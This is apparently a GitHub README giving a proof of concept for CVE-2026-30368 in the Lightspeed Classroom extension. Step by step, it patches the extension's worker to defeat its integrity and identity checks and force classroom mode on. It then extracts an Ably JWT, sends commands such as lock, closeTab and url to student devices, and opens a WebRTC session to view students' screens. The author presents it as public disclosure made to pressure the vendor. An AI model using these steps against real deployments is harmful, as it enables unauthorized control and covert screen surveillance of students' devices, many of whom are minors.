Skip to content

truekas/ls-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

CVE-2026-30368 Proof of concept

Introduction

CVE-2026-30368 allows an attacker to control student devices via a weak authentication flaw in Lightspeed Classroom management. The POC (poc.js) executes the service worker from the LS Classroom extension in global context. The worker also runs classroom.wasm for some functions. wasm-loader.js loads the worker and extracts the JWT token generated by classroom.wasm. Once it is extracted, it kills the worker, then sends the token to Lightspeed APIs to receive a token used to connect to the target's Ably channel. From there, an attacker could send a command to a student device. The list of commands and lots of more information is in the full writeup located here.

YOU MUST PROVIDE YOUR OWN WORKER.JS, CLASSROOM.WASM, AND MANIFEST.JSON FILES!

These cannot be in this repo because:

  • This repo will definetely be DMCAd by lightspeed if I do
  • The files are different for each district/version

To avoid issues, I recommend using version 5.1.2.1763770643. If you need help adapting newer versions, you are on your own.
You can obtain the worker.js and classroom.wasm files from the Lightspeed extension source code. This can be obtained by logging in with your school account on Chrome on a personal device then extracting the extension source from the extensions folder located in your chrome profile directory. You can also manually download the crx through the update url.

Set-up wasm loader

Once you have the files simply add them to the cloned repo directory. You will have to go into wasm-loader.js to the getManifest() function and paste your extension manifest there. You will also have to add the extension ID to wasm-loader.js at the top.

Make a copy of worker.js with a filename to your liking. You will need it for later. You will need to run worker.js through webcrack in order to deobfuscate and deminify it to perform the necessary modifications. When doing this make sure you select the "Deobfuscate" and "Unminify" options only. Before pasting the result back into your editor, it is recommended to turn off all LSP servers because they will remove random variables and make the worker break in subsequent stages (looking at you vtsls...)

Patching the Worker

Since the service worker will be ran on node.js (make sure you have it installed) it will need some patching up for it to run properly. JWT extraction logic also needs to be added. Add the following 2 functions at the very top of worker.js:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

These will be used when we modify the wasm go runtime to intercept and modify values used by the LS classroom wasm. Make sure to replace YOUR_EXTENSION_ID with your extension ID and worker_copy.js to the filename of the copy of the original worker.js you made previously. Next add these 2 functions inside the main arrow function (after the (() => {)

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

Next you need to hardcode IsClassroomActive to true so that you can execute this outside of campus networks. Simply change the function to always return true:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

Then, search for syscall/js.valueCall to find the valueCall function that needs to be modified. This is what informs the wasm of a JS value. The 2 values that are intercepted and changed by modifying this function are the path of worker.js (it is changed to the copy of your worker so that the hash check passes) and the value of chrome.identity.getProfileUserInfo.toString is changed to say native code so that the WASM believes it can be trusted when in reality is has been modified at the top of the file. To do this, you need to use the valueCallBefore and valueCallAfter functions that we defined at the top. Modify the valueCall function like so (variable names will vary, but the structure is the same):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

Almost done. Lastly, you need to add code to capture the JWT. Search for echoMessages: file and you will find the variable containing the list of headers sent to Ably. Right below that, add this line (the variable names will very likely not be accurate, you can find the same line accessing ablyJwt in authHeaders):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

This assigns the JWT to a variable in the global scope so that wasm-loader.js (the "harness" running the service worker) can access it. This concludes the modification of the worker. Make sure all your LSPs are still off. If they turned back on, you may experience problems with undefined variables later on.

Final prep

Move to the poc.js file. At the top, add the email and Customer ID of an account you wish to test on (preferrably your own). Using a customer ID other than your own will throw an error since you need to have the correct worker.js and classroom.wasm files corresponding to that customer ID.

I do not condone use of this on real students without their consent!!! πŸ™‚

The Ably API key in poc.js is redacted due to legal reasons so you will have to find it yourself. Look for it in worker.js, it starts with G52. Your customer ID can also be found in the same place, search for CUSTOMER_ID: or look for a string in this format: XX-XXXX-XXXX. The last 3 digits are usually 000.

Regarding the user agent, you can set it to anything you want but AWS may block certain UA's ascossiated with automation tools. Once you have done all this, go to the bottom and you can add a message to be sent to the user's Ably channel using publish. Messages can include lock, closeTab, url, and more. The full list of Ably messages used by Ligtspeed are here.

Execution

Execute the file with node.js, deno, or another runtime. Bun does not work.

$ node poc.js

Feel free to expand on the poc and make it into a CLI or something.

RTC

If anybody was wondering about how to work the WebRTC (viewing screens) function of Lightspeed Classroom, it can be done but is finicky. You must meet the following conditions to have it work:

  • The current time must meet the windows in class_schedule specified in the policy (read more on the full writeup)
  • Client needs to be on campus networks if required
  • You should be on the same network (optional but highly recommended)
  • Works best when a teacher is concurrently using Lightspeed (this opens the window for the RTC to function)

Assuming you are already connected to the client's Ably channel, the following can be used to initiate a WebRTC connection:

channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

It is up to you to figure out how to view the video (anybody with mild HTML knowledge and a bit of googling/AI should be able to do it) but the above code establishes the connection. Unfortunately the stream will be 1 FPS but that is a limitation of LS classroom itself.

Again I cannot guarantee that this will work all the time because it is way too finicky, but let me know if you get it working consistently!

Final Notes

Please don't use this POC for destructive purposes. I am not responsible for any mischevious actions you may commit. As you may know Lightspeed has been sleeping on this for 3 months and I don't really expect a fix for another week (or more?...). Hopefully this will make them understand the real severity of the situation and fix it faster. Lastly, if you happen to be a school IT guy, send this to your higher ups πŸ™‚

β™₯️, truekas 4.22.2026

About

CVE-2026-30368 proof of concept

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages